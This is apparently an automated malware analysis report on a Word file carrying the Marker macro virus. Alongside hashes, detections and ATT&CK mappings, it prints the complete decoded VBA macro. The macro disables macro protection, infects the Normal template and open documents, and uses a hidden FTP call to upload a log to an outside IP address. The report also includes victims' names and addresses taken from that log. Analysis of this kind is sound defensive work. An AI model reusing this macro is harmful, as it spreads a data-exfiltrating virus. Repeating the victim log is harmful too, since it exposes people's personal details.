Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34b2bb5d9ac4abbf…

MALICIOUS

Office (OLE)

42.0 KB Created: 2009-07-29 15:04:00 Authoring application: Microsoft Word 10.1 First seen: 2015-08-19
MD5: 6451dc0fc47122e75e3af66c9547d420 SHA-1: 88eaf2aaa211d761c190d310d181f9f4e8d3853b SHA-256: 34b2bb5d9ac4abbf39d303dadabd3c6e45033643070bd3636ccab74b37d6f2d2
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros that exhibit self-replication and tampering with macro protection settings. The script attempts to download a file from 'o 209.201.88.110' and save it as 'c:\netldx.vxd', and also writes a marker to 'c:\hsf*.sys'. These actions suggest the macro is designed to download and execute a second-stage payload, indicative of a downloader or droppper malware.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
Options.VirusProtection = False
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://earthobservatory.nasa.gov/IOTD/view.php?id=38803 In document text (OLE body)
    • http://earthobservatory.nasa.gov/IOTD/view.php?id=6096In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5275 bytes
SHA-256: 5bf099ecdcf08d56894fa315a8bfa608be122f7cf37dc53646e407125bf16b3b
Detection
ClamAV: Doc.Trojan.Marker-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 11:27:50 AM - Monday, 28 Dec 1998
' Marsha Spitz
' Marsha Spitz
' 6th Floor
' Blue Cross and Blue Shield Assn.
' 225 N. Michigan Ave.
' Chicago, IL  60601



' 01:52:17 PM - Wednesday, 30 Dec 1998
' BCBSA
'



' 11:31:34 AM - Wednesday, 6 Jan 1999
' Sara Tegethoff
'



' 09:47:44 AM - Thursday, 7 Jan 1999
' stompkin
'



' 06:03:14 PM - Wednesday, 20 Jan 1999
' Preferred User
'



' 10:14:39 AM - Monday, 25 Jan 1999
' Invesco
'



' 08:50:38 AM - Thursday, 28 Jan 1999
' Toby Cromwell
'



' 08:44:33 PM - Wednesday, 17 Feb 1999
' Employee Benefits Sales
'



' 12:02:11 PM - Saturday, 13 Mar 1999
' David C. Ryding
'



' 03:27:09 PM - Friday, 16 Apr 1999
' Christine Rolik
'



' 09:20:47 AM - Thursday, 29 Jul 1999
' Dave Ryding
'



' 10:34:01 AM - Friday, 13 Aug 1999
' Sharon Meinhart
'



' 09:23:53 PM - Tuesday, 2 Nov 1999
' Betty Boyce
'



' 07:53:55 AM - Friday, 17 Nov 2000
' Matt
' Manning Park Youth Center
'      Renovation Project
' 480 Pimiento Lane
' Santa Barbara, CA  93108



' 07:25:14 PM - Thursday, 28 Dec 2000
' Matt
' Keller / Shapero Family
' 480 Pimiento Lane
' Santa Barbara, CA  93108



' 09:24:03 PM - Friday, 14 Dec 2001
' Robert Jay Ladd-Reinfrank
'


' 04:56:38 AM - Wednesday, 22 Mar 2006
' Jay LR
'

Open this report in the interactive analyzer, or submit your own file for analysis.